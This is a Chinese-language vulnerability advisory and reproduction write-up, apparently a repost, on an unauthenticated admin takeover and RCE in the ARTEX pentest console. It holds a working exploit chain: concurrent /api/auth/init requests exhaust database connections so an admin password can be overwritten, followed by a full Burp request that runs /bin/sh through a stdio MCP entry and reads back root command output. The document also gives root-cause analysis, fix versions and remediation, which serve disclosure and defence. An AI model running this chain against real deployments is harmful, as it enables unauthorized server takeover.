【已复现】ARTEX存在未认证接管导致RCE漏洞
黑白之道
2026年10月21日 09:07
韩国
去阅读
一、产品介绍
ARTEX 是一款面向企业攻击面的 AI 自主渗透测试控制台,由 Go 后端与 Next.js 前端组成。 它支持任务编排、资产扫描、漏洞发现与利用、MCP 工具扩展,并可以通过 OpenAI / Anthropic 兼容接口接入上游大模型。
典型部署方式:
- Go 单二进制,默认管理端口
8787(README 示例),MCP 代理端口8788; - 依赖 PostgreSQL 存储任务、资产、MCP 配置与模型 Profile;
- 支持 Docker Compose 部署,也支持直接运行二进制;
- 管理端默认暴露在
0.0.0.0:8787,若直接映射到公网且未做额外访问控制,风险较高。
ARTEX 的 MCP 管理接口支持 stdio、http、sse 三种传输。其中 stdio会由 ARTEX 主进程直接启动本地子进程,这是本文 RCE 链路的关键。
二、漏洞原理
2.1 缺陷代码
POST /api/auth/init 用于\"首次设置管理员密码\"。它在判断是否已初始化时,显式丢弃了数据库查询返回的 error:
// server/auth.go (v0.3.14)
func(s *Server) authInit(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
existing, _, _ := pg.GetSetting(authPassKey) // ← error 被丢弃
if existing != \"\" {
writeErr(w, 403, \"密码已设置\")
return
}
// ... bcrypt ...
if err := pg.SetSetting(authPassKey, string(hash)); err != nil { ... } // ← upsert 覆盖
tok, _ := signJWT(s.jwtKey)
writeJSON(w, 200, map[string]any{\"token\": tok})
}
2.2 \"键不存在\"与\"读取失败\"不可区分
GetSetting 在两种情况下都返回空 value,唯一的区分标志是 error:
func(d *DB) GetSetting(key string) (value string, ok bool, err error) {
err = d.QueryRow(`SELECT value FROM settings WHERE key=$1`, key).Scan(&value)
if err == sql.ErrNoRows {
return\"\", false, nil // 键不存在
}
if err != nil {
return\"\", false, err // 读取失败,value 同样是 \"\"
}
return value, true, nil
}
authInit 忽略 error 后,\"读取失败\"被当成\"从未设置密码\",于是继续执行写操作。
2.3 未认证可达
requireAuth 把整个 /api/auth/* 前缀列为白名单:
if strings.HasPrefix(p, \"/api/auth/\") || p == \"/api/health\" {
h.ServeHTTP(w, r)
return
}
因此任何未认证访问者都可以无限并发地调用 /api/auth/init。
2.4 触发条件:PostgreSQL 连接耗尽
旧版没有设置 SetMaxOpenConns,database/sql 默认不限制应用侧连接数。 每个 /api/auth/init 请求都会执行一次 SELECT value FROM settings ...; 并发足够高时会把 PostgreSQL 的 max_connections 顶满,新连接被拒绝,GetSetting 返回 error,fail-open 随即生效。
随后 SetSetting 使用 INSERT ... ON CONFLICT DO UPDATE(upsert), 直接覆盖已存在的管理员密码哈希,并返回一个合法的管理员 JWT。
2.5 从认证绕接到 RCE
拿到管理员 JWT 后,POST /api/mcp 会接受 stdio 传输配置: 服务端把 command 与 args 交给 exec.Command 直接启动子进程。 这是 MCP 协议的固有设计——拥有 MCP 创建权限即拥有命令执行权限。 认证绕过把这一能力从\"管理员\"扩大到了\"任何未认证访问者\"。
三、影响范围
3.1 受影响版本
| 项目 | 内容 |
|---|---|
| 受影响版本 | v0.1.0 – v0.3.14 |
| 修复版本 | v0.3.15 及以后 |
| 修复提交 | 8d8c102 (PR #197,分支 fix/auth-init-fail-open) |
| 漏洞类型 | CWE-636 Fail Open / CWE-754 异常条件处理不当 |
3.2 影响后果
- 未认证管理员接管:无需知道原密码,即可把管理员密码改成任意值;
- 服务器命令执行:通过
stdioMCP 以 ARTEX 进程权限执行任意命令; - 横向风险:ARTEX 本身具备资产扫描与漏洞利用能力,失陷后可被用作攻击跳板。
四、复现过程
4.1 指纹确认
GET/api/healthHTTP/1.1
Host: TARGET_HOST
确定是存在漏洞的版本
4.2 并发触发 Fail-Open
POST /api/auth/init
Body: {\"password\":\"<REDACTED_PASSWORD>\"}
并发: 800 轮次: 最多 2 轮
两轮统计:
{
\"workers\":800,
\"rounds\":2,
\"codes\":{\"403\":245,\"200\":44,\"500\":3,\"TimeoutError\":508}
}
44个200:fail-open 生效,管理员密码被覆盖;245个403:数据库读取正常,正确返回\"密码已设置\";3个500:写入阶段失败;508个连接异常:高并发下客户端侧连接被重置或超时。
4.3 登录取得管理员 JWT
POST/api/auth/loginHTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
Content-Length: 58
{\"username\":\"ARTEX\",\"password\":\"<REDACTED_PASSWORD>\"}
HTTP/1.1200
Content-Length: 160
{\"token\":\"<REDACTED_JWT>\"}
4.5 发送 id RCE 请求
Burp 数据包
POST/api/mcpHTTP/1.1
Host: TARGET_HOST
User-Agent: artex-burp-proof
Accept: application/json
Content-Type: application/json
Authorization: Bearer <JWT>
Content-Length: 510
{\"name\": \"test_rce_id\", \"transport\": \"stdio\", \"command\": \"/bin/sh\",
\"args\": [\"-c\", \"OUT=$(id 2>&1 | base64 -w0); read a; printf '%s\\\
' '{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"id\\\":1,\\\"result\\\":{\\\"protocolVersion\\\":\\\"2024-11-05\\\",\\\"capabilities\\\":{\\\"tools\\\":{}},\\\"serverInfo\\\":{\\\"name\\\":\\\"burp-id\\\",\\\"version\\\":\\\"1.0\\\"}}}'; read b; read c; printf '{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"id\\\":2,\\\"result\\\":{\\\"tools\\\":[{\\\"name\\\":\\\"burp_id\\\",\\\"description\\\":\\\"%s\\\",\\\"inputSchema\\\":{\\\"type\\\":\\\"object\\\"}}]}}\\\
' \\\"$OUT\\\"\"],
\"enabled\": true}
HTTP/1.1200
Content-Type: application/json
Content-Length: 10
{\"id\":x}
{\"id\":x} 表示 MCP 条目创建成功。ARTEX 在创建时同步执行工具发现, 即在本机启动 /bin/sh -c \"...id...\" 并完成 MCP 握手。
4.6 回读工具缓存,证明 id 已执行
获取命令执行结果
对 description 做 base64 解码:
id 返回 uid=0(root),说明 MCP 子进程以 root 身份运行在 ARTEX 主机上, RCE 成立。
4.8 整条利用链分析
① POST /api/auth/init(无认证、可无限并发)
│
│ 800 并发打满 PostgreSQL max_connections
▼
② GetSetting 返回 error
│
│ authInit 丢弃 error,existing=\"\" 被当成\"未初始化\"
▼
③ SetSetting upsert 覆盖管理员密码哈希,返回 JWT
│
▼
④ POST /api/auth/login 用攻击者密码换取合法管理员会话
│
▼
⑤ POST /api/mcp,transport=stdio,command=/bin/sh
│
│ ARTEX 以自身进程权限 exec 子进程
▼
⑥ 子进程执行 id → uid=0(root)
│
│ 结果封装进 MCP tool description
▼
⑦ GET /api/mcp/{id}/tools 回读缓存,得到命令输出
五、修复建议
5.1 升级到 v0.3.15+
官方 8d8c102(PR #197)已完成三处修复:
authInit/authStatus读取出错时返回503,改为 fail-closed;- 写入由 upsert 改为
INSERT ... ON CONFLICT DO NOTHING,不再覆盖已有密码; - 连接池设置上限(
SetMaxOpenConns(32)/SetMaxIdleConns(32)),并补充连接寿命与空闲淘汰。
5.2 访问控制
- 管理端口默认只监听
127.0.0.1; - 公网访问通过 VPN、SSH 隧道或带认证与访问控制的反向代理;
- 对
/api/auth/init增加来源限速与并发上限。
5.3 认证与会话
- JWT 绑定密码版本,改密后旧 token 立即失效;
- 登录、改密、初始化全部写入审计日志(不记录凭据正文);
- 增加登录失败计数与持久化锁定。
5.4 MCP 安全
- 对
stdio类型 MCP 的command/args做白名单或禁用; - 定期审计
mcp_servers,删除可疑条目; - MCP 子进程使用低权限用户运行,避免 root。
⚠️ 免责声明:本文及该靶场仅供安全培训、教学与授权测试使用。请勿将其中漏洞技术用于任何未授权的目标,使用者需自行承担因不当使用造成的一切后果。
文章来源:大白哥AI与安全
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论